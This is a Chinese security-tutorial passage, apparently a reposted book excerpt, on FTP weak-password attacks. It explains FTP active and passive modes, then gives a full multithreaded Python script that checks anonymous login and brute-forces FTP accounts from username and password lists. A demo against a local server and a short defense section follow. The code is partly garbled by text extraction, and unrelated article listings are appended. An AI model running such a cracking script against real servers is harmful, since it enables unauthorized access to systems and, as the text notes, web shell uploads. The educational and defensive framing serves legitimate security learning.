FTP口令问题

 

 

FTP(File Transfer Protocol ,文件传输协议)是一个文件传输协议,用户通  过FTP可从客户机程序向远程主机上传或下载文件,常用于网站代码维护、 日常  源码备份等。如果攻击者通过FTP匿名访问或者通过弱口令破解获取FTP权限,将 可直接上传Web Shell来进一步渗透提权,直至控制整个网站服务器。

 

 

 

 

 

 

7.4.1    编写脚本

 

FTP是基于TCP的,FTP的命令端口为21 ,数据端口为20 。FTP的任务是将一 台计算机的文件传送到另一台计算机上。在使用FTP前需要进行身份验证,验证 通过后才能获得相应的权限。这里我们简单介绍一下FTP的基础知识。

FTP中有三种用户类型:

·Real账户:默认的主目录就是用其账户命名的目录,同时也可以切换到系统 中的其他目录。

·Guest用户:默认的主目录就是用其账户命名的目录,只能访问自己的主目 录,不能查看其他目录。

·Anonymous用户:在FTP服务器中没有指定账户,但是其仍然可以匿名访问 某些公开的资源。

FTP中有两种工作模式:

·Port(主动)模式:FTP客户端从任意一个大于1024(N)的端口主动连接  FTP服务器的21端口(命令端口)来建立连接,用来发送命令,同时监听N+1端  口。当客户端需要接收数据时,则会发送一个PORT命令给FTP服务器,FTP服务 器则会通过20端口(数据端口)来与客户端的N+1端口建立连接并传输数据,如 图7-11所示。

·PASV(被动)模式:客户端同样会开启两个大于1024的端口(N ,N+1), 第一个同样是用来连接FTP服务器的21端口,但是客户端不会提交PORT命令,而 是提交PASV命令,FTP服务器收到PASV命令后会开启一个大于1024的端口

(P),并发送PORT命令给客户端,然后客户端从N+1端口主动连接到FTP服务 器开启的端口P用来传送数据。

4fc0da8c6f0e42da86e0ce1e4d1cb574.png

图7-11    FTP主动工作模式

 

 

 

 

 

该模式主要用于防火墙之后的FTP客户端访问外界FTP服务器的情况,因为如 果是外界的FTP服务器主动对FTP客户端建立连接的话,会被防火墙阻止,所以只 能让防火墙之后的客户端主动去连接服务器,如图7-12所示。

c92c428b71ef4144934bac7a13cf3fe7.png

图7-12    FTP被动工作模式

Python中默认安装的ftplib模块是专门用于支持FTP操作的,该模块提供了用 来实现FTP登录、上传和下载等功能的函数,我们只需要调用相应的功能函数即 可完成对FTP的操作。这里主要介绍脚本所需要使用的函数:

·ftp.connect( "IP" ,"port" ,"timeout" ):对指定的FTP服务器进行连接。

·ftp.login( "username" ,"password" ):指定连接所需的用户名和密码,如果 为空,则默认进行匿名登录。

·ftp.quit() :与FTP服务器断开连接。

具体步骤如下:

1)写入脚本的信息,导入相关的模块:

#!/usr/bin/python3

# -*- coding: utf-8 -*-

 

 

import import import import

 

ftplib

os

optparse

threading

 

2)编写匿名用户登录检查函数,检查FTP是否允许匿名用户登录:

def CheckAnonymous(FTPserver) :

try:

# 检测是否允许匿名用户登录

 

 

 

 

 

print( '[-] checking user [anonymous] with password [anonymous] ') f = ftplib.FTP(FTPserver)

f.connect(FTPserver, 21, timeout=10)

f.login()

print ("\n[+] Credentials have found successfully .")

print ("\n[+] Username : anonymous")

print ("\n[+] Password : anonymous")

resultFile = open( 'result ', 'a ')

resultFile .write("success !!!username:{},password : {}" .format

("anonymous", "anonymous"))

resultFile .close()

f.quit()

except ftplib.all_errors:

pass

 

3)编写线程类,当线程找到正确的账户或密码时,将其写入文件并退出程 序:

class ThreadWork(threading .Thread) :

def __init__(self,ip,usernameBlocak,passwordBlocak,port) :

threading .Thread.__init__(self)

self.ip = ip

self.port = in t(port)

self.usernameBlocak = usernameBlocak

self.passwordBlocak = passwordBlocak

def start(self) :

# 从账户子块和密码子块中提取数据,分配给线程进行破解

for userItem in self.usernameBlocak :

for pwd Item in self.passwordBlocak :

self.run(userItem,pwd Item)

def run(self, username, password) :

try:

print( '[-]checking user[ ' + username + '],password[ ' + password + '] ') f = ftplib.FTP(self.ip)

f.connect(self.ip, self.port, timeout=15)

# 若账户或密码错误,则会抛出异常

f.login(username, password)

f.quit()

print ("\n[+] Credentials have found successfully .")

print ("\n[+] Username : {}" .format(username))

print ("\n[+] Password : {}" .format(password))

resultFile = open( 'result ', 'a ')

resultFile .write("success !!! username: {}, password : {}" .format

(username, password))

resultFile .close()

# 找到正确的账户和密码就退出程序

os ._exit(0)

# 捕捉账户、密码错误异常

except ftplib.error_perm:

pass

4)编写破解函数,如下所示:

 

def FTPExploit(ip,usernameFile,password File,threadNumber,ftpPort) :

print("============破解信息============")

print("IP:" + ip)

print("UserName:" + usernameFile)

print("PassWord :" + password File)

print("Threads:" + str(threadNumber))

print("Port :" + ftpPort)

print("=================================")

 

 

 

 

# 先检查是否允许匿名用户登录

CheckAnonymous(ip)

# 读取账户文件和密码文件,并存入对应列表

listUsername = [line .strip() for line in open(usernameFile)]

listPassword = [line .strip() for line in open(password File)]

# 将账户列表和密码列表根据线程数量进行分块

blockUsername = partition(listUsername, threadNumber)

blockPassword = partition(listPassword, threadNumber)

threads = []

# 给线程分配工作

for sonUserBlock in blockUsername:

for sonPwdBlock in blockPassword :

work = ThreadWork(ip,sonUserBlock, sonPwdBlock,ftpPort)

# 创建线程

workThread = threading .Thread(target=work.start)

# 在threads中加入线程

threads .append(workThread)

# 运行子线程

for t in threads:

t.start()

# 阻塞主线程,等待所有子线程完成工作

for t in threads:

t.join()

 

5)编写分块函数,根据线程数把字典拆分成相应数量的子列表:

# 列表分块函数

def partition(list, num) :

# step为每个子列表的长度

step = in t(len(list) / num)

# 若子列表不够除为0时,就把step设置为子线程数

if step == 0:

step = num

part List = [list[i :i+step] for i in range(0,len(list),step)]

return part List

6)编写main 函数,主要涉及banner的显示、参数的设置、FTP破解函数的调 用:

if __name__ == '__main__ ' :

print("\n#####################################")

print("#

print("#

print("#

parser = optparse .OptionParser( 'Example: python %prog -i 127 .0 .0 .1

-u ./username -p ./password -t 20 -P 21\n ')

parser .add_option( '-i ', '--ip ', dest= 'target IP ',

default='127.0.0.1 ', type= 'string ',

help= 'FTP Server IP ')      # 添加FTP地址参数-i

parser .add_option( '-t ', '--threads ', dest= 'threadNum ',

default=10, type= 'in t ',

help= 'Number of threads [default = 10] ')  # 添加线程参数-t parser .add_option( '-u ', '--username ', dest= 'userName ',

default= ' ./username ', type= 'string ',

help= 'username file ')      # 添加用户名文件参数-u

parser .add_option( '-p ', '--password ', dest= 'passWord ',

default= ' ./passwords ', type= 'string ',

 

 

 

 

 

help= 'password file ')     # 添加密码文件参数-p(小写)

parser .add_option( '-P ', '--port ', dest= 'port ',

default= '21 ', type= 'string ',

help= 'FTP port ')       # 添加FTP端口参数-P(大写)

(options, args) = parser .parse_args()

try:

FTPExploit(options .target IP,options .userName,options .passWord,

options .threadNum,options .port)

except :

exit(1)

这里打开Slyar FTPserver工具,输入账户名称和账户密码,点击“启动服务”按 钮,即可开启一个FTP服务,软件界面如图7-13所示。

f693f771865346fb8b3c0018dbe23e76.png

图7-13    Slyar FTP界面

接着指定脚本参数,运行脚本如图7-14所示。

 

 

 

 

 

951f4c8ce006409391ebaa3b95311f3d.png

图7-14    脚本参数

破解成功后脚本会自动退出,并把结果写到result文件中,破解结果如图7-15 所示。

4ca196ea1c0c469fb1ccc9e6cbc46592.png

图7-15    破解结果

 

 

 

 

 

 

7.4.2    防御策略

 

FTP服务被攻击的绝大多数原因是FTP账户的口令被破解,少部分是因为FTP 软件自身以及配置的问题。对于FTP破解的防御手段也可以借鉴后台弱口令的防  御策略,此外,这里补充几点:

·应禁止匿名登录。

·及时更新FTP软件,防止旧版本有漏洞。

·避免使用管理员权限来运行FTP服务。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/371738.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux进程信号(2)--信号的保存

目录 1.阻塞信号 1.1 信号其他相关常见概念 1.实际执行信号的处理动作称为信号递达(Delivery) 2.信号从产生到递达之间的状态,称为信号未决(Pending)。 3.进程可以选择阻塞 (Block )某个信号。 1.2信号在内核中的表示 sigset_t 信号集操作函数 使用sigprocm…

JAVA-File五个练习

下面习题思路大多都是: 1.获取路径下所有列表(listfiles),2.遍历文件或文件夹(增强for),3.判断是否是文件(isFile)并直接执行逻辑,4.判断当前是文件夹的情况&…

【React】redux状态管理、react-redux状态管理高级封装模块化

【React】react组件传参、redux状态管理 一、redux全局状态管理1、redux概述2、redux的组成1.1 State-状态1.2 Action-事件1.3 Reducer1.4 Store 3、redux入门案例1.1 前期准备1.2 构建store1.2.1 在src下新建store文件夹1.2.2 在store文件夹下新建index.ts文件1.2.3 在index.t…

Swift Vapor 教程(查询数据、插入数据)

上一篇简单写了 怎么创建 Swift Vapor 项目以及在开发过程中使用到的软件。 这一篇写一个怎么在创建的项目中创建一个简单的查询数据和插入数据。 注:数据库配置比较重要 先将本地的Docker启动起来,用Docker管理数据库 将项目自己创建的Todo相关的都删掉…

【python】python爱心代码【附源码】

一、实现效果: 欢迎来到英杰社区https://bbs.csdn.net/topics/617804998 二、完整代码: import math import random import threading import time from math import sin, cos, pi, log from tkinter import * import re# 烟花相关设置 Fireworks [] m…

STM32F407 CAN参数配置 500Kbps

本篇CAN参数适用 芯片型号:STM32F407xx系统时钟:168MHz,CAN挂载总线APB1为42M波 特 率 :500Kpbs引脚使用:TX_PB9,RX_PB8;修改为PA11PA12后,参数不变。 步骤一、打勾开启CAN&#xf…

vue使用es的reduce方法编译报错Error: Can‘t resolve ‘core-js/modules/es.array.reduce.js‘

哈喽 大家好啊 最近在vue使用es的reduce方法编译报错Error: Cant resolve core-js/modules/es.array.reduce.js 报错如图所示: 解决方案: npm install --save core-js 然后重新编译下将正常了 参考原文: 使用import异步加载语法报错_module not foun…

CAD-autolisp(四)——编译

目录 一、编译1.1 界面操作1.2 生成的应用程序(二选一) 二、后续学习 一、编译 编译:lsp后缀名为原文件,后缀名为fas、vlx为编译后文件,其会把sld、dcl、lsp等文件都编译进一个应用程序文件中加载:cad命令…

ZigBee学习——在官方例程基础实现点灯

IAR版本 :10.10.1 Z-stack版本 :3.0.2 文章目录 一、买的板子原理图二、实现过程2.1 重定义LED的物理映射(HAL层)2.2 创建LED事件(应用层)2.2.1 定义用户事件2.2.2 修改zclGenericApp_event_loop() 2.3 触发事件 一、买的板子原理图 二、实现过程 2.1 重定义LED的物理映射(HAL…

windows10忘记密码的解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

处理SERVLET中的错误

处理SERVLET中的错误 问题陈述 一位用户在使用在线计算机应用程序时输入一个非数字字符做数字加法。servlet试图将用户输入的值转换成整数型时,引发了NumberFormException类型的异常。要创建一个Web应用程序来使用自定义错误页面处理该异常。该自定义错误页面需要向用户提供关…

uniapp android和微信小程序实现PDF在线预览

在使用uniapp开发移动端时,微信开发者工具里webview能正常打开后端接口返回的pdf文件流。正式发布后,在配置了业务域名和服务器域名的前提下,预览pdf文件却只能看到白屏,因此我猜测微信小程序不能通过webview读取文件流。这个想法…

笔记本电脑的WIFI模块,突然不显示了,网络也连接不上

问题复现: 早上,在更新完笔记本电脑的系统之后,连网之后,网络突然直接断开,一查看,WiFi模块居然不见了,开机重启也是如此,这种情况常常出现在更新系统之后,WiFi模块驱动就…

Unix五种I/O模型(阻塞、非阻塞、多路复用、信号驱动、异步)

文章目录 概要一、I/O基础二、阻塞式I/O三、非阻塞式I/O三、I/O多路复用四、信号驱动I/O五、异步I/O六、小结 概要 在工作中,经常使用Nginx、Redis等开源组件,常提到其高性能的原因是网络I/O的实现是基于epoll(多路复用)。这次呢…

复制命令COPY

copy在英文中是复制的意思,所谓复制就是原来的文件并没有任何改变,重新产生了一个内容和原来文件没有任何差别的文件。复制(copy)命令主要用于复制一个或更多个文件到指定的位置,该命令可以被用于合并文件,…

ES6-数组的解构赋值

一、数组的解构赋值的规律 - 只要等号两边的模式相同,左边的变量就会被赋予对应的值二、数组的解构赋值的例子讲解 1)简单的示例(完整的解构赋值) 示例 //基本的模式匹配 // a,b,c依次和1,2&#xff0c…

Element UI+Spring Boot进行CRUD的实例

ElementUI安装与使用指南 前端代码:点击查看learnelementuispringboot项目源码 后端代码:点击查看 LearnElementUiAndSpringBoot 一、前端配置 安装axios Gitee的axios介绍与使用 GitHub的axios介绍与使用 方式一:使用npm安装 $ npm in…

深度学习(生成式模型)—— Consistency Models

文章目录 前言预备知识:SDE与ODEMethod实验结果 前言 Diffusion model需要多次推断才能生成最终的图像,这将耗费大量的计算资源。前几篇博客我们已经介绍了加速Diffusion model生成图像速率的DDIM和Stable Diffusion,本节将介绍最近大火的Co…

力扣热门100题刷题笔记 - 5.最长回文子串

力扣热门100题 - 5.最长回文子串 题目链接:5. 最长回文子串 题目描述: 给你一个字符串 s,找到 s 中最长的回文子串。 如果字符串的反序与原始字符串相同,则该字符串称为回文字符串。示例: 输入:s "…

【DDD】学习笔记-数据设计模型

通过分析活动获得的数据项模型,可以认为是数据分析模型,它确定了系统的主要数据表、关系及表的主要属性。到了建模的设计活动,就可以继续细化数据项模型这个分析模型,例如丰富每个表的列属性,或者确定数据表的主键与外…